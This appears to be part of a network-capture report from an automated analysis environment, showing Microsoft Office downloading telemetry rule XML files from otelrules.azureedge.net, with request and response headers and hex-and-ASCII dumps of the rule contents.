22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 50 53 50 20 50 53 55 22 20 Data Ascii: 1000v5+<?xml version="1.0" encoding="utf-8"?><R Id="1000" V="5" DC="ESM" EN="Office.Telemetry.RuleErrorsAggregated" ATT="f998cc5ba4d448d6a1e8e913ff18be94-dd122e0a-fcf8-4dc5-9dbb-6afac5325183-7405" SP="CriticalBusinessImpact" S="70" DL="A" DCa="PSP PSU"
2024-11-23 04:02:16 UTC	16384	IN	Data Raw: 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 42 22 20 49 3d 22 35 22 20 4f 3d 22 66 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 47 45 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 34 30 30 22 20 54 3d 22 49 33 32 22 20 2f 3e 0d 0a 20 Data Ascii: /> </R> </O> </R> </O> </C> <C T="B" I="5" O="false"> <O T="AND"> <L> <O T="GE"> <L> <S T="1" F="0" /> </L> <R> <V V="400" T="I32" />
2024-11-23 04:02:16 UTC	16384	IN	Data Raw: 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 30 38 32 30 22 20 56 3d 22 33 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 4f 75 74 6c 6f 6f 6b 2e 44 65 73 6b 74 6f 70 2e 43 6f 6e 74 61 63 74 43 61 72 64 50 72 6f 70 65 72 74 69 65 73 43 6f 75 6e 74 73 22 20 41 54 54 3d 22 64 38 30 37 36 30 39 32 37 36 37 34 34 32 34 35 62 61 66 38 31 62 66 37 62 63 38 30 33 33 66 36 2d 32 32 36 38 65 33 37 34 2d 37 37 36 36 2d 34 39 37 36 2d 62 65 34 34 2d 62 36 61 64 35 62 64 64 63 35 62 36 2d 37 38 31 33 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 41 20 54 3d 22 31 22 20 45 3d 22 54 65 6c 65 6d 65 74 72 79 53 68 75 74 64 6f 77 6e 22 20 2f 3e 0d Data Ascii: .0" encoding="utf-8"?><R Id="10820" V="3" DC="SM" EN="Office.Outlook.Desktop.ContactCardPropertiesCounts" ATT="d807609276744245baf81bf7bc8033f6-2268e374-7766-4976-be44-b6ad5bddc5b6-7813" DCa="PSU" xmlns=""> <S> <A T="1" E="TelemetryShutdown" />
2024-11-23 04:02:16 UTC	16384	IN	Data Raw: 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 39 22 20 4f 3d 22 74 72 75 65 22 20 4e 3d 22 50 75 72 67 65 64 5f 41 67 65 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 34 22 20 46 3d 22 43 6f 75 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 30 22 20 4f 3d 22 74 72 75 65 22 20 4e 3d 22 50 75 72 67 65 64 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 35 22 20 46 3d 22 43 6f 75 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 31 22 20 4f 3d 22 74 72 75 65 22 20 4e 3d 22 46 69 6c 65 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 38 22 20 46 3d 22 43 6f 75 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 Data Ascii: </C> <C T="U32" I="9" O="true" N="Purged_Age"> <S T="4" F="Count" /> </C> <C T="U32" I="10" O="true" N="Purged_Count"> <S T="5" F="Count" /> </C> <C T="U32" I="11" O="true" N="File_Count"> <S T="8" F="Count" /> </C>
2024-11-23 04:02:16 UTC	16384	IN	Data Raw: 20 20 3c 53 20 54 3d 22 31 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 43 6f 75 6e 74 5f 43 72 65 61 74 65 43 61 72 64 5f 56 61 6c 69 64 4d 61 6e 61 67 65 72 5f 46 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 32 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 43 6f 75 6e 74 5f 43 72 65 61 74 65 52 65 73 75 6c 74 5f 56 61 6c 69 64 50 65 72 73 6f 6e 61 5f 46 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 32 22 20 2f 3e 0d 0a 20 Data Ascii: <S T="10" /> </C> </C> <C T="U32" I="1" O="false" N="Count_CreateCard_ValidManager_False"> <C> <S T="11" /> </C> </C> <C T="U32" I="2" O="false" N="Count_CreateResult_ValidPersona_False"> <C> <S T="12" />
2024-11-23 04:02:16 UTC	16384	IN	Data Raw: 50 61 69 6e 74 5f 49 4d 73 6f 50 65 72 73 6f 6e 61 5f 57 61 73 4e 75 6c 6c 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 33 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 32 30 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 50 61 69 6e 74 5f 49 4d 73 6f 50 65 72 73 6f 6e 61 5f 4e 75 6c 6c 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 33 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 32 31 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 43 6c 65 61 6e 75 70 4d 73 6f 50 65 72 73 6f 6e 61 5f 49 4d 73 6f 50 65 72 73 6f 6e Data Ascii: Paint_IMsoPersona_WasNull_Count"> <C> <S T="32" /> </C> </C> <C T="U32" I="20" O="false" N="Paint_IMsoPersona_Null_Count"> <C> <S T="33" /> </C> </C> <C T="U32" I="21" O="false" N="CleanupMsoPersona_IMsoPerson
2024-11-23 04:02:16 UTC	16384	IN	Data Raw: 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 32 30 30 22 20 54 3d 22 49 36 34 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 4c 54 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 52 65 74 72 69 65 76 61 6c 4d 69 6c 6c 69 73 65 63 6f 6e 64 73 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 34 30 30 22 Data Ascii: <R> <V V="200" T="I64" /> </R> </O> </L> <R> <O T="LT"> <L> <S T="3" F="RetrievalMilliseconds" /> </L> <R> <V V="400"
2024-11-23 04:02:16 UTC	16384	IN	Data Raw: 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 30 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 4f 63 6f 6d 32 49 55 43 4f 66 66 69 63 65 49 6e 74 65 67 72 61 74 69 6f 6e 46 69 72 73 74 43 61 6c 6c 53 75 63 63 65 73 73 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 4f 63 6f 6d 32 49 55 43 4f 66 66 69 63 65 49 6e 74 65 67 72 61 74 69 6f 6e 46 69 72 73 74 43 61 6c 6c 46 61 69 6c 65 64 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 Data Ascii: </S> <C T="U32" I="0" O="false" N="Ocom2IUCOfficeIntegrationFirstCallSuccessCount"> <C> <S T="9" /> </C> </C> <C T="U32" I="1" O="false" N="Ocom2IUCOfficeIntegrationFirstCallFailedCount"> <C> <S T="10" /> </C
2024-11-23 04:02:16 UTC	16384	IN	Data Raw: 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 54 65 6e 61 6e 74 20 65 6e 61 62 6c 65 64 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 55 73 65 72 20 65 6e 61 62 6c 65 64 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 66 61 6c 73 65 22 20 54 3d 22 42 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 Data Ascii: L> <S T="3" F="Tenant enabled" /> </L> <R> <O T="EQ"> <L> <S T="3" F="User enabled" /> </L> <R> <V V="false" T="B" /> </R>
2024-11-23 04:02:16 UTC	16384	IN	Data Raw: 75 73 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 34 30 34 22 20 54 3d 22 55 33 32 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 3c 2f 46 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 37 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 47 45 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 32 22 20 46 3d 22 48 74 74 70 53 74 61 74 75 73 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 Data Ascii: us" /> </L> <R> <V V="404" T="U32" /> </R> </O> </F> <F T="7"> <O T="AND"> <L> <O T="GE"> <L> <S T="2" F="HttpStatus" /> </L>

Session ID	Source IP	Source Port	Destination IP	Destination Port
2	192.168.2.6	49716	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 04:02:18 UTC	192	OUT	GET /rules/rule120608v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 04:02:18 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 04:02:18 GMT Content-Type: text/xml Content-Length: 2160 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:03 GMT ETag: "0x8DC582BA3B95D81" x-ms-request-id: 2bdd5943-e01e-0052-493a-3dd9df000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T040218Z-178bfbc474bh5zbqhC1NYCkdug00000003x0000000006dqn x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 04:02:18 UTC	2160	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 36 37 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 33 22 20 52 3d 22 31 32 30 36 31 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 34 22 20 52 3d 22 31 32 30 36 31 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 35 22 20 52 3d 22 31 32 30 36 31 34 22 20 2f 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120608" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <R T="1" R="120609" /> <R T="2" R="120679" /> <R T="3" R="120610" /> <R T="4" R="120612" /> <R T="5" R="120614" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
3	192.168.2.6	49717	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 04:02:18 UTC	192	OUT	GET /rules/rule120600v4s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 04:02:18 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 04:02:18 GMT Content-Type: text/xml Content-Length: 2980 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:10 GMT ETag: "0x8DC582BA80D96A1" x-ms-request-id: 6b6b0dda-801e-0083-096a-3cf0ae000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T040218Z-174c587ffdftv9hphC1TEBm29w000000026000000000u0x4 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 04:02:18 UTC	2980	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 30 22 20 56 3d 22 34 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 4d 65 74 61 64 61 74 61 44 65 76 69 63 65 43 6f 6e 73 6f 6c 69 64 61 74 65 64 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 44 43 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120600" V="4" DC="SM" EN="Office.System.SystemHealthMetadataDeviceConsolidated" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalBusinessImpact" DL="A" DCa="DC"

Session ID	Source IP	Source Port	Destination IP	Destination Port
4	192.168.2.6	49718	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 04:02:18 UTC	192	OUT	GET /rules/rule120609v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 04:02:18 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 04:02:18 GMT Content-Type: text/xml Content-Length: 408 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:33 GMT ETag: "0x8DC582BB56D3AFB" x-ms-request-id: a3d07856-b01e-0084-3a7e-3bd736000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T040218Z-174c587ffdfp4vpjhC1TEBybqw00000002d000000000aab6 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 04:02:18 UTC	408	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 38 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 44 64 5d 5b 45 65 5d 5b 4c 6c 5d 5b 4c 6c 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120609" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120682" /> <SR T="2" R="^([Dd][Ee][Ll][Ll])"> <S T="1" F="0" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
5	192.168.2.6	49714	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 04:02:18 UTC	193	OUT	GET /rules/rule120402v21s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 04:02:18 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 04:02:18 GMT Content-Type: text/xml Content-Length: 3788 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:17 GMT ETag: "0x8DC582BAC2126A6" x-ms-request-id: 44ae66ae-301e-001f-7627-3caa3a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T040218Z-15b8b599d8885prmhC1TEBsnkw00000002hg000000007q34 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 04:02:18 UTC	3788	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 34 30 32 22 20 56 3d 22 32 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 55 6e 67 72 61 63 65 66 75 6c 41 70 70 45 78 69 74 44 65 73 6b 74 6f 70 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 43 65 6e 73 75 73 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 50 53 50 22 20 78 6d 6c 6e 73 3d 22 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120402" V="21" DC="SM" EN="Office.System.SystemHealthUngracefulAppExitDesktop" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalCensus" DL="A" DCa="PSP" xmlns=""

Session ID	Source IP	Source Port	Destination IP	Destination Port
6	192.168.2.6	49715	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 04:02:18 UTC	192	OUT	GET /rules/rule224902v2s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 04:02:18 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 04:02:18 GMT Content-Type: text/xml Content-Length: 450 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:25 GMT ETag: "0x8DC582BD4C869AE" x-ms-request-id: 0e051980-b01e-005c-631b-3d4c66000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T040218Z-178bfbc474bfw4gbhC1NYCunf400000003yg000000009axc x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 04:02:18 UTC	450	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 32 32 34 39 30 32 22 20 56 3d 22 32 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 31 30 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 55 54 53 20 54 3d 22 32 22 20 49 64 3d 22 62 62 72 35 71 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 53 20 54 3d 22 33 22 20 47 3d 22 7b 61 33 36 61 39 37 30 64 2d 34 35 61 39 2d 34 65 30 64 2d 39 63 61 62 2d 32 61 32 33 35 63 63 39 64 37 63 36 7d 22 20 2f 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 47 22 20 49 3d 22 30 22 20 4f 3d 22 66 61 6c 73 65 4e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="224902" V="2" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120100" /> <UTS T="2" Id="bbr5q" /> <SS T="3" G="{a36a970d-45a9-4e0d-9cab-2a235cc9d7c6}" /> </S> <C T="G" I="0" O="falseN

Session ID	Source IP	Source Port	Destination IP	Destination Port
7	192.168.2.6	49719	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 04:02:20 UTC	192	OUT	GET /rules/rule120610v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 04:02:21 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 04:02:20 GMT Content-Type: text/xml Content-Length: 474 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:46 GMT ETag: "0x8DC582B9964B277" x-ms-request-id: 02a2c6fa-b01e-0001-107b-3b46e2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T040220Z-178bfbc474bv587zhC1NYCny5w00000003t000000000d7mf x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 04:02:21 UTC	474	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120610" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120609" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
8	192.168.2.6	49721	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 04:02:20 UTC	192	OUT	GET /rules/rule120612v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 04:02:21 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 04:02:21 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:25 GMT ETag: "0x8DC582BB10C598B" x-ms-request-id: 8592a006-f01e-0085-6b6a-3c88ea000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T040221Z-174c587ffdftv9hphC1TEBm29w00000002c00000000062c9 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
